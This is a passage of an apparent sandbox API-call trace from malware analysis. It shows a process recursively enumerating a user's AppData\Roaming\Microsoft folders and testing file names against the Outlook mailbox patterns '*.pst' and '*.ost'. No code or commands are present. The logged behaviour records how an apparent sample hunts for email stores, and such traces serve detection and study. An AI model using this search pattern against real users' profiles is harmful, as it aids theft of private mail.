pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\WIK9MYAA") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\WIK9MYAA" [0098.124] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\WIK9MYAA", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\WIK9MYAA\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\WIK9MYAA\\*" [0098.124] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\WIK9MYAA\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ac0 [0098.125] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.125] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.125] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.125] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 0 [0098.125] FindClose (in: hFindFile=0x71e8ac0 | out: hFindFile=0x71e8ac0) returned 1 [0098.125] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="ZE5P2FRT", cAlternateFileName="")) returned 1 [0098.125] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.125] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", pszFile="ZE5P2FRT" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\ZE5P2FRT") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\ZE5P2FRT" [0098.125] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\ZE5P2FRT", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\ZE5P2FRT\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\ZE5P2FRT\\*" [0098.125] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\ZE5P2FRT\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ac0 [0098.126] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.126] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.126] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.126] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 0 [0098.126] FindClose (in: hFindFile=0x71e8ac0 | out: hFindFile=0x71e8ac0) returned 1 [0098.126] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6c9c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="ZE5P2FRT", cAlternateFileName="")) returned 0 [0098.126] FindClose (in: hFindFile=0x71e8ca0 | out: hFindFile=0x71e8ca0) returned 1 [0098.126] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd6a3aa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6c9c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6c9c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Low", cAlternateFileName="")) returned 0 [0098.126] FindClose (in: hFindFile=0x71ea5c0 | out: hFindFile=0x71ea5c0) returned 1 [0098.126] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd6a3aa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6a3aa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6a3aa0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="UserData", cAlternateFileName="")) returned 0 [0098.126] FindClose (in: hFindFile=0x71e9d80 | out: hFindFile=0x71e9d80) returned 1 [0098.126] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6f492fb0, ftCreationTime.dwHighDateTime=0x1d2fb15, ftLastAccessTime.dwLowDateTime=0x6f492fb0, ftLastAccessTime.dwHighDateTime=0x1d2fb15, ftLastWriteTime.dwLowDateTime=0x6f492fb0, ftLastWriteTime.dwHighDateTime=0x1d2fb15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="MMC", cAlternateFileName="")) returned 1 [0098.126] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.126] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="MMC" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MMC") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MMC" [0098.126] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MMC", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MMC\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MMC\\*" [0098.126] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6f492fb0, ftCreationTime.dwHighDateTime=0x1d2fb15, ftLastAccessTime.dwLowDateTime=0x6f492fb0, ftLastAccessTime.dwHighDateTime=0x1d2fb15, ftLastWriteTime.dwLowDateTime=0x6f492fb0, ftLastWriteTime.dwHighDateTime=0x1d2fb15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9d80 [0098.127] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.127] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6f492fb0, ftCreationTime.dwHighDateTime=0x1d2fb15, ftLastAccessTime.dwLowDateTime=0x6f492fb0, ftLastAccessTime.dwHighDateTime=0x1d2fb15, ftLastWriteTime.dwLowDateTime=0x6f492fb0, ftLastWriteTime.dwHighDateTime=0x1d2fb15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.127] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.128] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6f492fb0, ftCreationTime.dwHighDateTime=0x1d2fb15, ftLastAccessTime.dwLowDateTime=0x6f492fb0, ftLastAccessTime.dwHighDateTime=0x1d2fb15, ftLastWriteTime.dwLowDateTime=0x6f492fb0, ftLastWriteTime.dwHighDateTime=0x1d2fb15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0098.128] FindClose (in: hFindFile=0x71e9d80 | out: hFindFile=0x71e9d80) returned 1 [0098.128] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdddb8250, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdddb8250, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="MS Project", cAlternateFileName="MSPROJ~1")) returned 1 [0098.128] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.128] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="MS Project" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project" [0098.128] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\*" [0098.128] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdddb8250, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdddb8250, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9d80 [0098.129] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.129] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdddb8250, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdddb8250, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.129] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.129] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdddb8250, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdddb8250, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="16", cAlternateFileName="")) returned 1 [0098.129] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.129] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project", pszFile="16" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\16") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\16" [0098.129] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\16", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*" [0098.129] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdddb8250, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdddb8250, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea5c0 [0098.130] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.130] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdddb8250, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdddb8250, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.130] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.130] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdddb8250, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdddb8250, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="en-US", cAlternateFileName="")) returned 1 [0098.130] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.130] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\16", pszFile="en-US" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" [0098.130] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*" [0098.130] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdddb8250, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdddb8250, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ca0 [0098.131] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.131] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdddb8250, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdddb8250, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.131] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.131] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdddb8250, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdde2d980, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x136e00, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Global.MPT", cAlternateFileName="")) returned 1 [0098.131] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.131] PathMatchSpecW (pszFile="Global.MPT", pszSpec="*.pst") returned 0 [0098.131] PathMatchSpecW (pszFile="Global.MPT", pszSpec="*.ost") returned 0 [0098.131] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdddb8250, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdde2d980, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x136e00, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Global.MPT", cAlternateFileName="")) returned 0 [0098.131] FindClose (in: hFindFile=0x71e8ca0 | out: hFindFile=0x71e8ca0) returned 1 [0098.131] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdddb8250, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdddb8250, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="en-US", cAlternateFileName="")) returned 0 [0098.131] FindClose (in: hFindFile=0x71ea5c0 | out: hFindFile=0x71ea5c0) returned 1 [0098.131] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdddb8250, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xdddb8250, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xdddb8250, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="16", cAlternateFileName="")) returned 0 [0098.131] FindClose (in: hFindFile=0x71e9d80 | out: hFindFile=0x71e9d80) returned 1 [0098.131] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Network", cAlternateFileName="")) returned 1 [0098.131] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.131] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Network" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network" [0098.131] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\*" [0098.131] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9d80 [0098.132] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.132] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.132] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.132] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2c677fb0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0098.132] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.132] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network", pszFile="Connections" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections" [0098.132] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*" [0098.132] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2c677fb0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2c677fb0, 